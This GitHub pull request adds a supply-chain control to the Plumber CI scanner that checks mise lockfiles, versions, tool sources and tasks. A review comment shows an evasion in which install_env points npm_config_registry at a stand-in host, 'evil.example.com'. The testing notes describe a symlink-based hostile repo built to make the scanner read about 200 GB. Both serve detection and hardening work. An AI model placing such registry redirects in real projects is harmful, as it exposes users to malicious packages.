Skip to content

feat(control): mise-en-place control: lockfile, versions, sources and tasks checks, local and remote (ISSUE-1001 to ISSUE-1019) - #665

Merged
thomasboni merged 2 commits into
mainfrom
feature/254-package-manager-lockfile-mise
Dec 3, 2026
Merged

thomasboni merged 2 commits into
mainfrom
feature/254-package-manager-lockfile-mise

Conversation

@Exypte

@Exypte Exypte commented Dec 1, 2026 •

Copy link
Copy Markdown
Contributor

What type of PR is this?

feat

What this PR does / why we need it:

Many repos pin their CI tools with mise, so mise.toml and mise.lock decide what CI installs. This PR adds the control mise-en-place. Plumber reads every committed mise config, lockfile and task in the repository (it never runs mise), from the local checkout or through the GitHub or GitLab API, and checks four things: the lockfile, the versions requested, where tools come from, and the tasks each project declares.

This PR was a stack of five (#665, #666, #669, #670, #681). They were collapsed into this one so CI runs on the whole change, and the others were closed.

Code Subject Finding Severity
ISSUE-1001 lockfile A config declares tools and its lockfile is not committed high
ISSUE-1002 lockfile Lockfiles are turned off (lockfile = false, also inherited from a parent config) high
ISSUE-1003 lockfile A tool request has no lock entry high
ISSUE-1004 lockfile A locked download has no checksum high
ISSUE-1005 lockfile A locked download records a provenance kind outside trustedProvenance medium
ISSUE-1006 lockfile A locked download has no provenance (requireProvenance) medium
ISSUE-1007 lockfile A required platform is not locked (requiredPlatforms) low
ISSUE-1008 lockfile The lockfile format is too old (minimumLockfileVersion) low
ISSUE-1009 lockfile A tool is declared in asdf's .tool-versions, which mise never locks medium
ISSUE-1010 presence required: true and the repository has no mise config medium
ISSUE-1011 versions A tool request matches a pattern of forbiddenVersions high
ISSUE-1012 versions A tool request can't be read statically (a {{ }} template, an empty or unquoted version) high
ISSUE-1013 sources A tool matches no trustedTools pattern high
ISSUE-1014 sources A download URL locked in mise.lock matches no trustedRegistries pattern high
ISSUE-1015 sources A [settings] url_replacements target matches no trustedReplacement pattern high
ISSUE-1016 sources A trusted tool sets a URL option that matches no trustedOptions pattern medium
ISSUE-1017 tasks A mise project misses a task of required medium
ISSUE-1018 lockfile A tool is locked with no download URL or checksum high
ISSUE-1019 lockfile A mise local config (*.local.toml) is committed high

Each code has a subject, exported in the catalog, so the codes of one check can be filtered together.

mise doesn't depend on the provider, so it gets a top-level mise: key in .plumber.yaml. A missing block or enabled: false means no mise file is read and nothing is reported.

mise:
  enabled: true
  required: false            # true: a repo with no mise config is ISSUE-1010
  lockfile:                  # on in plumber:default
    requireChecksums: true   # on unless set to false
    # requireProvenance: ["aqua:*"]
    # trustedProvenance: [slsa, github-attestations, cosign, minisign]   # the default
    # requiredPlatforms: [linux-x64, linux-arm64]
    # minimumLockfileVersion: 1
  versions:                  # on in plumber:default
    forbiddenVersions: [latest, lts, "lts/*", "lts-*", stable, nightly, beta, "branch:*", "path:*", system, "sub-*", "prefix:*"]
  sources:                   # off in plumber:default
    trustedTools: ["core:*", "aqua:*", "github:my-org/*"]
    trustedRegistries: ["https://github.com/*", "https://nodejs.org/*"]
    trustedReplacement: []
    trustedOptions: ["https://ghe.example.com/*"]
  tasks:                     # off in plumber:default
    required: [lint, test, scan]
  exemptPackages: []
  exemptPaths: []            # `*` within a directory, `**` across

Patterns are globs, validated when the config loads.

General behavior

  • A mise file that cannot be read (not valid TOML, over 2 MiB, a symlink out of the repository, to a device or nowhere) stops the run with one error listing every such file. A file under exemptPaths doesn't stop the run, unless a checked config pairs with that lockfile.
  • It fails closed: whatever can't be read statically is reported, never passed (a templated request is ISSUE-1003 and ISSUE-1012, a shorthand with no lock entry is ISSUE-1013, an unreadable task include is named in ISSUE-1017).
  • Directory symlinks inside the repository are followed, as mise follows them. A *.local.toml counts only when git tracks it.
  • The scan honors --controls / --skip-controls. On --platform, a policy whose data wasn't read reports the control as not evaluated, not passed. A GitLab run that stops early (no CI file, a network failure) also reports it not evaluated.

Versions. The check reads the request as written in mise.toml, which is what people review. With node = "latest", mise.lock still pins a version, but the next mise lock --bump moves it with no change to the config. ref:* is not in the default list because a SHA ref can't move. Only [tools] of mise configs is judged: .tool-versions is read by the lockfile check only (ISSUE-1009).

Sources.

  • ISSUE-1013 matches the tool's full mise name: its key (aqua:jqlang/jq), or for a shorthand the backend its lock entry records.
  • ISSUE-1014 checks the url each platform entry of mise.lock records, so a change to mise.lock alone can't point a trusted tool at another host. Without trustedRegistries the URLs aren't checked; [] trusts none. Only binary backends (aqua, github, gitlab, ubi, http) lock a URL, so a mirror setting for a go, npm, cargo or pip tool is not checked.
  • ISSUE-1015 reads url_replacements, which mise.lock doesn't show.
  • ISSUE-1016 covers api_url, url, platforms.<os-arch>.url and the pip options (registry_url, indexes, pipx_args, uvx_args, the index variables of install_env). In pipx_args/uvx_args every URL is judged, whatever flag carries it, and an argument with no URL (--include-deps) gives nothing.
  • A tool that isn't trusted gets ISSUE-1013 alone.

Tasks. What counts as a project's tasks matches mise tasks ls (checked side by side on mise 2026.11.16): [tasks] tables with aliases, TOML task files, executable files in the task directories or task_config.includes, tasks inherited from parent directories, task.skip and task.disable_paths honored, mise.<env>.toml left out. Remote, templated or out-of-repo includes and includes past 20,000 files are not read, and the finding names them. Paths are resolved whole, so a symlinked parent (esc -> /) can't take a read out of the repository.

Remote reading. A remote run (plumber analyze owner/repo, or GitLab at another ref) reads the mise files through the API: one tree listing, then the files in batches. packagemanager/mise reads through an FS interface, DirFS for a checkout and internal/repofs for a remote tree, with the same symlink rules.

GitHub GitLab
Tree one REST git/trees/<commit>?recursive=1 request REST recursive tree, keyset pages of 100
Files GraphQL, 50 aliased object(expression:) a query GraphQL blobs(paths:), 50 a query, sizes asked first
Fallback git/blobs/<oid> for a file whose GraphQL text is truncated or not byte-exact, checked against the oid size then raw file over REST when blobs fails (GitLab < 13.11)

GraphQL has no recursive tree: nesting Tree.entries took 135 queries and about 234 s on jdx/mise, against one request and 0.67 s for the REST tree. A repository too large to read remotely (a GitHub tree over 100,000 entries or 7 MB, or more than 5,000 files) leaves mise-en-place not evaluated (collection_failed) and the run degraded; every other control still reports.

packagemanager/mise/              reads configs, lockfiles, .tool-versions and tasks into internal/ir/mise.go
internal/repofs/                  a remote tree as an FS
github/remote_files.go, gitlab/   the remote listing and batched reads
policies/mise_*.rego              one policy per subject
configuration/packagemanagers.go  the top-level mise block
control/packagemanagers.go        the scan, the gaps, RunControls

Which issue(s) this PR is related to:

Part of #254.

Closes #678
Closes #668

Special notes for your reviewer:

Does this PR introduce a user-facing change?

New control mise-en-place checks committed mise configs, lockfiles and tasks (ISSUE-1001 to ISSUE-1019), on a checkout or through the GitHub or GitLab API for a remote run. It is configured by a new top-level `mise:` key in .plumber.yaml. The lockfile and versions checks are on in the default config; the sources and tasks checks are off until you add their blocks. An unreadable mise file stops the run with an error listing the files. Set `mise.enabled: false` to turn it off, or list fixture paths in `mise.exemptPaths`.

How was this tested?

  • make test passes: the scanner (symlinks, exempt paths, tracked local configs, inherited settings, source options, the task collector with every include kind and the containment cases), every scan test case run both on a checkout and through repofs, the Rego cases for every code, config decoding (each key from YAML, bad globs, rejected old keys, YAML round trips), the GitHub and GitLab remote readers, the GitLab early returns, and the catalog and fingerprint goldens.
  • Each .github/claude-prompts/*.md review ran on every part of the stack, and again on the fixes for the bot findings, each in its own agent.
  • A hostile repo for the task collector (500 includes of a directory of 200 links to a 2 MB file, plus includes through esc -> /): 27 s and about 200 GB read before the containment fixes, 0.9 s after.
  • plumber analyze --controls mise-en-place on getplumber-examples/plumber-mise-example (one folder per subject, one issue-NNNN/ per code, real mise lock output), and on its GitLab copy:
Run Result
main no mise finding (the control doesn't exist)
this branch, local checkout 20 findings: every code from 1001 to 1019 from its own directory (ISSUE-1010 can't fire in a repo that uses mise; versions/issue-1012 also gives ISSUE-1003), nothing at the root or in exempt-path/
this branch, GitHub remote the same 20 findings
this branch, GitLab remote the same 20 findings
a broken mise.toml outside exemptPaths exit 2: cannot read the mise files below; fix them or list their paths in mise.exemptPaths: then one line per file

Time to read the mise files: 26 to 37 ms on a checkout, 1.2 to 2.1 s through GitHub, 0.9 to 1.1 s through GitLab, 1.9 to 2.3 s for jdx/mise (6,664 entries) through GitHub.

AI usage disclosure:

YES. Claude Code wrote the code, tests and docs, and built the example repos, following decisions made with the author on #254 and #678. The author reviewed the changes and is responsible for them.

🤖 Generated with Claude Code

Comment thread packagemanager/mise/mise.go Resolved
Comment thread packagemanager/mise/mise.go Resolved
Comment thread packagemanager/mise/mise.go Resolved
Exypte added a commit that referenced this pull request Dec 1, 2026
Answers the review on #665:

- An unquoted version (node = 24, python = 3.12) still fails closed
  with ISSUE-1003. mise itself rejects it ("expected tool list"), so no
  mise lock can match it. The reason now says so, and a test pins it.
- url_api is used as the download URL when url is missing.
- provenance written as a string is read, and a download with
  provenance passes ISSUE-1005.
- A committed mise.lock that does not parse is listed as unreadable,
  not treated as absent.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Comment thread cmd/config_slim.go Resolved
Comment thread cmd/init.go Resolved
Comment thread control/packagemanagers.go Resolved
Comment thread packagemanager/mise/mise.go Resolved
Exypte added a commit that referenced this pull request Dec 1, 2026
Answers the second review round on #665:

- A mise file that cannot be read or parsed is now ISSUE-1009 (high)
  instead of marking the whole control not evaluated. The readable
  configs keep their findings, so one broken file no longer hides them.
  An unreadable mise.lock is ISSUE-1009, not a missing lockfile.
- mise.exemptPaths skips mise files under the listed paths (globs, `*`
  within a directory, `**` across), for fixtures and examples.
- Symlinks are followed, as mise follows them, only to a regular file
  inside the repository. A link out of it, to a device such as
  /dev/zero, or nowhere is ISSUE-1009, and every read is capped.
- When a root config cannot be read, its [monorepo] setting is unknown:
  subproject configs are not judged for ISSUE-1001/1003, and the
  .tool-versions of a directory holding an unreadable config is not
  judged for ISSUE-1008.
- config slim keeps a legacy config's absent lockfile block off instead
  of inheriting the default one.
- Tests for the config init mise block and gitlabCheckoutIsAnalyzed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@Exypte Exypte changed the title feat(control): mise lockfile check (packageManagersMustBeCompliant, ISSUE-1001 to ISSUE-1008) feat(control): mise lockfile check (packageManagersMustBeCompliant, ISSUE-1001 to ISSUE-1009) Dec 1, 2026
Comment thread cmd/config_slim.go Fixed
Comment thread policies/mise_lockfile.rego Resolved
Comment thread packagemanager/mise/mise.go Resolved
Comment thread packagemanager/mise/mise.go Resolved
Comment thread packagemanager/mise/mise.go Resolved
Comment thread policies/mise_lockfile.rego Resolved
Comment thread packagemanager/mise/mise.go Resolved
Exypte added a commit that referenced this pull request Dec 1, 2026
…ew gaps

Answers the third review round on #665:

- ISSUE-1004 to ISSUE-1007 now skip a config that sets lockfile = false
  (ISSUE-1002 alone) and a subproject whose lockfile is unknown, as
  ISSUE-1001 and ISSUE-1003 already did. Before, a disabled lockfile
  still got checksum, provenance and platform findings.
- Tests for the 2 MiB read cap, a readable [monorepo] root config next
  to an unreadable one, config.toml in .config/mise, mise and .mise
  directories, and a [tools] table with no version.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Comment thread cmd/render_details.go Resolved
Comment thread packagemanager/mise/mise.go Resolved
Comment thread packagemanager/mise/mise.go Resolved
Comment thread control/packagemanagers.go Resolved
Comment thread packagemanager/mise/mise.go Resolved
Comment thread policies/mise_lockfile.rego Resolved
@Exypte Exypte changed the title feat(control): mise lockfile check (packageManagersMustBeCompliant, ISSUE-1001 to ISSUE-1009) feat(control): mise-en-place control and its lockfile check (ISSUE-1001 to ISSUE-1010, ISSUE-1018, ISSUE-1019) Dec 2, 2026
Comment thread packagemanager/mise/mise.go Resolved
@Exypte Exypte changed the title feat(control): mise-en-place control and its lockfile check (ISSUE-1001 to ISSUE-1010, ISSUE-1018, ISSUE-1019) feat(control): mise-en-place control: lockfile, versions, sources and tasks checks, local and remote (ISSUE-1001 to ISSUE-1019) Dec 3, 2026
… tasks checks, local and remote (ISSUE-1001 to ISSUE-1019)

Part of #254.

Closes #678
Closes #668

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@Exypte
Exypte force-pushed the feature/254-package-manager-lockfile-mise branch from ebb6db6 to cde9442 Compare December 3, 2026 10:48
// isIndexEnvVar reports whether an install_env key is one of
// indexEnvVars, or an npm scoped registry (`NPM_CONFIG_@scope:registry`,
// any case, as npm reads it).
func isIndexEnvVar(k string) bool {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔴 New control check

Medium: the sources check (ISSUE-1016) misses an npm registry redirect written with the canonical lowercase npm_config_registry install_env key, because isIndexEnvVar matches the plain npm registry variable case-sensitively. (Medium)

isIndexEnvVar (packagemanager/mise/mise.go:886) decides whether a tool's install_env key redirects a package manager at another index, which feeds ISSUE-1016 (mise-sources.rego, "a tool option that sets a download URL must set a trusted one"). The plain variables are matched case-sensitively via slices.Contains(indexEnvVars, k), with the list holding only the uppercase NPM_CONFIG_REGISTRY (line 878). Only the scoped npm branch is case-insensitive (strings.ToUpper(k) on line 890), and its own comment on line 884 notes npm reads the variable in "any case".

npm reads npm_config_-prefixed environment variables case-insensitively, and the canonical / idiomatic form is lowercase (npm_config_registry). So a trusted tool that redirects npm to an untrusted registry using that canonical form is not detected.

Concrete evasion (sources check enabled with a trustedOptions allowlist):

[tools]
"npm:some-trusted-cli" = { version = "1.0.0", install_env = { npm_config_registry = "https://evil.example.com" } }

tableSourceOptions (line 944-950) calls isIndexEnvVar("npm_config_registry"), which returns false (not an exact match for NPM_CONFIG_REGISTRY, and the scoped branch fails because there is no @). No MiseToolOption is emitted, so ISSUE-1016 never fires and the redirect to the untrusted registry passes the control — even though mise install would run npm with npm_config_registry set and fetch from evil.example.com. The same config written as NPM_CONFIG_REGISTRY is flagged, so the detection depends on casing the attacker controls.

Suggested fix: match the plain index variables case-insensitively (e.g. upper-case k before comparing against an upper-cased indexEnvVars), consistent with the scoped-registry branch that already acknowledges npm's case-insensitivity. (Note: pip/uv/go env vars are conventionally uppercase, so the practical gap is npm's lowercase npm_config_registry; a test fixture with the lowercase key would catch this — the existing fixture at mise_test.go:959 only exercises the uppercase/scoped forms.)

Control: .github/claude-prompts/new-control-check.md · resolve this conversation once addressed.

@Exypte
Exypte requested a review from thomasboni December 3, 2026 10:57
@Exypte Exypte self-assigned this Dec 3, 2026
Conflicts with the member quota control (#504) and the merge gates (#677),
both sides kept everywhere:

- control/task.go: the engine config goes through engineConfigFor then
  omitUnreadMergeGates; the two GitLab early returns attach the member
  quota verdict and mark mise-en-place not evaluated; runRegoEngine keeps
  its error return and takes membersData; the end of the run marks the
  merge gates gap and the mise gap.
- control/packagemanagers_run_test.go: runRegoEngine call updated to the
  new signature (a compile break git did not flag).
- control/platform_call_inventory_test.go: recorder fields of both sides.
- test lists and the fingerprint golden: both controls listed.
- cmd/testdata/catalog_golden.json: regenerated with -update-catalog.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01UuPoP4xPXZ8rLEDYRiKznq
@thomasboni
thomasboni merged commit 4070b97 into main Dec 3, 2026
18 checks passed
@thomasboni
thomasboni deleted the feature/254-package-manager-lockfile-mise branch December 3, 2026 20:45
plumber-release Bot pushed a commit that referenced this pull request Dec 3, 2026
## [0.7.27](v0.7.26...v0.7.27) (2026-12-03)

### ✨ Features

* **control:** mise-en-place control: lockfile, versions, sources and tasks checks, local and remote (ISSUE-1001 to ISSUE-1019) ([#665](#665)) ([4070b97](4070b97)), closes [#254](#254) [#678](#678) [#668](#668)
thomasboni pushed a commit to getplumber/getplumber.io that referenced this pull request Dec 4, 2026
…1001 to ISSUE-1019) (#586)

CLI 0.7.27 ships the mise-en-place control (getplumber/plumber#665, with
the remote reading of #681 folded in) and links every finding to an
issue page that did not exist. This adds the 19 issue pages, the
control's catalog entry and CTRL-1001 id, and its section in the
controls configuration reference: the top-level mise block, its four
checks, unreadable files, remote runs, when the control is not
evaluated, and known limits.

The configuration anchor lookup now accepts hyphenated control keys.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

3 participants